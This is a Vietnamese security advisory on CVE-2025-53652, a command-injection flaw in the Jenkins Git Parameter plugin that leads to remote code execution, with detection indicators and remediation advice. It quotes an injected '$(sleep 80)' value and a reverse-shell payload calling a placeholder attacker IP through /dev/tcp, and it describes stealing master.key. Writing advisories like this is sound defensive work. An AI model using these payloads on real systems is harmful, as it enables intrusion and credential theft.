Cảnh báo khẩn cấp: Lỗ hổng CVE Jenkins dẫn đến RCE nghiêm trọng

Cảnh báo khẩn cấp: Lỗ hổng CVE Jenkins dẫn đến RCE nghiêm trọng

Jenkins đã công bố lỗ hổng CVE-2025-53652, còn được biết đến là SECURITY-3419, trong một đợt phát hành 31 lỗ hổng plugin. Ban đầu, lỗ hổng này được đánh giá ở mức độ nghiêm trọng trung bình, ảnh hưởng đến plugin Git Parameter. Mô tả ban đầu cho rằng nó chỉ cho phép kẻ tấn công chèn các giá trị tùy ý vào tham số Git, điều này đã đánh giá thấp tiềm năng khai thác nghiêm trọng của nó.

Tuy nhiên, phân tích sâu hơn cho thấy lỗ hổng chèn tham số này có thể leo thang thành thực thi mã từ xa (Remote Code Execution – RCE) hoàn chỉnh. Điều này xảy ra do cách plugin xử lý không hợp lệ các đầu vào do người dùng cung cấp trong các lệnh shell.

Lỗ hổng CVE-2025-53652: Từ Injection đến RCE

Bản chất lỗ hổng Git Parameter Plugin

Plugin Git Parameter, được cài đặt rộng rãi để quản lý các bản dựng (build) được tham số hóa, chấp nhận các giá trị tham số tùy ý. Các giá trị này được nội suy trực tiếp vào các lệnh Git như rev-parsefetch.

Ví dụ, khi một công việc pipeline được cấu hình để hoạt động trên một nhánh như “master”, một bản dựng bình thường sẽ tiến hành mà không có vấn đề gì. Lỗ hổng phát sinh từ việc thiếu các biện pháp làm sạch đầu vào (input sanitization).

Cơ chế khai thác Command Injection

Bằng cách cung cấp một giá trị độc hại như $(sleep 80) làm tham số nhánh, kẻ tấn công có thể chèn các lệnh. Các lệnh này sẽ được thực thi trong quá trình Git fetch.

Điều này có thể gây ra độ trễ đáng kể và xác nhận việc chèn lệnh thông qua các công cụ giám sát tiến trình như ps faux. Công cụ này sẽ hiển thị tiến trình con sleep được tạo ra dưới quyền người dùng jenkins.

# Ví dụ lệnh kiểm tra sau khi khai thác thành công lệnh sleep
ps faux | grep sleep

Việc này cho phép kẻ tấn công nhúng các ký tự đặc biệt của shell (shell metacharacters) mà Git sẽ diễn giải như một phần của việc thực thi lệnh.

Chi tiết khai thác Remote Code Execution

Kỹ thuật Remote Shell với Curl

Để chứng minh tác động thực tế, các nhà nghiên cứu đã tạo ra một exploit dựa trên curl. Kỹ thuật này kích hoạt một reverse shell bằng cách gửi POST request đến endpoint /job/[buildName]/build. Payload JSON được định dạng đặc biệt chứa chuỗi lệnh sau:

$(bash -c 'bash > /dev/tcp/[attacker_ip]/[port] 

Khi payload này được xử lý, kẻ tấn công có thể thiết lập một kết nối reverse shell chạy dưới quyền người dùng jenkins.

Điều kiện khai thác và Tác động

Khai thác thành công thường trả về phản hồi 201 Created. Reverse shell, có thể bắt được qua netcat, cung cấp quyền truy cập vào các tệp nhạy cảm như master.key trong thư mục ~/secrets của Jenkins.

Việc khai thác yêu cầu kiến thức về tên bản dựng, một cookie phiên hợp lệ và một CSRF token của Jenkins-Crumb. Các thông tin này có thể thu được thông qua các yêu cầu đơn giản, ngay cả trên các phiên bản không yêu cầu xác thực.

Mặc dù Jenkins mặc định yêu cầu xác thực – phù hợp với xếp hạng Privileges Required: None của vectơ CVSS – lỗ hổng này đặc biệt nguy hiểm trong các cấu hình mà xác thực bị tắt hoặc đăng ký mở được bật. Điều này khiến các hệ thống bị phơi nhiễm với RCE không cần xác thực.

Theo báo cáo, quét FOFA chỉ ra rằng hơn 100.000 máy chủ Jenkins đối mặt với Internet yêu cầu xác thực, trong đó khoảng 1.000 cho phép đăng ký mở. Tuy nhiên, khoảng 15.000 máy chủ dường như hoàn toàn không yêu cầu xác thực, làm tăng nguy cơ khai thác rộng rãi bất chấp cơ sở cài đặt plugin chưa được định lượng đầy đủ trong số đó.

Ngay cả trong các thiết lập không yêu cầu xác thực, kẻ tấn công vẫn phải lấy được các tạo phẩm phiên (session artifacts). Tuy nhiên, rào cản này là thấp đối với các mối đe dọa có quyết tâm. Việc lấy chúng có thể được thực hiện thông qua các lệnh curl cơ bản nhắm mục tiêu vào các endpoint gốc và bản dựng. Đây là một cảnh báo CVE nghiêm trọng cần được quan tâm.

Thông tin chi tiết về lỗ hổng CVE-2025-53652 có thể được tìm thấy tại nguồn đáng tin cậy: NVD - CVE-2025-53652.

Phát hiện và Giám sát

Dấu hiệu xâm nhập (Indicators of Compromise - IoCs)

Việc phát hiện có thể thực hiện được thông qua giám sát mạng. Quy tắc Suricata của VulnCheck cảnh báo về các yêu cầu POST tới các đường dẫn /job/.../build chứa các mẫu đáng ngờ trong nội dung yêu cầu, chẳng hạn như các ký tự đặc biệt của shell đã được mã hóa trong giá trị tham số.

Các chỉ báo trên đĩa vẫn tồn tại trong nhật ký công việc tại ~/jobs/[buildName]/builds/#/log. Tại đây, các lệnh đã chèn như $(sleep 80) xuất hiện trong kết quả git rev-parse, cung cấp bằng chứng pháp y sau khi khai thác. Đây là các dấu hiệu quan trọng để phát hiện hệ thống bị xâm nhập.

Biện pháp Khắc phục và Phòng ngừa

Mặc dù Jenkins gắn cờ các plugin lỗi thời để nâng cấp, bản vá cho lỗ hổng CVE-2025-53652 bao gồm một cờ có thể cấu hình. Cờ này là -Dnet.uaznia.lukanus.hudson.plugins.gitparameter.GitParameterDefinition.allowAnyParameterValue=true. Việc bật cờ này sẽ tắt tính năng xác thực, có khả năng khiến hệ thống vẫn dễ bị tấn công ngay cả sau khi cập nhật.

Điều này nhấn mạnh sự cần thiết của việc kiểm tra kỹ lưỡng sau nâng cấp (post-upgrade audits). Tóm lại, điều ban đầu được cho là một lỗ hổng chèn tham số có tác động thấp đã chứng tỏ là một vector chèn lệnh quan trọng. Nó tận dụng tính linh hoạt của Git như một GTFOBin cho RCE.

Mặc dù không được dự kiến sẽ thấy khai thác hàng loạt, lỗ hổng này vẫn tiềm ẩn những rủi ro đáng kể trong các cuộc tấn công có mục tiêu hoặc kịch bản di chuyển ngang (lateral movement). Do đó, các quản trị viên được khuyến nghị ưu tiên vá lỗi, bật xác thực và giám sát các chỉ báo xâm phạm.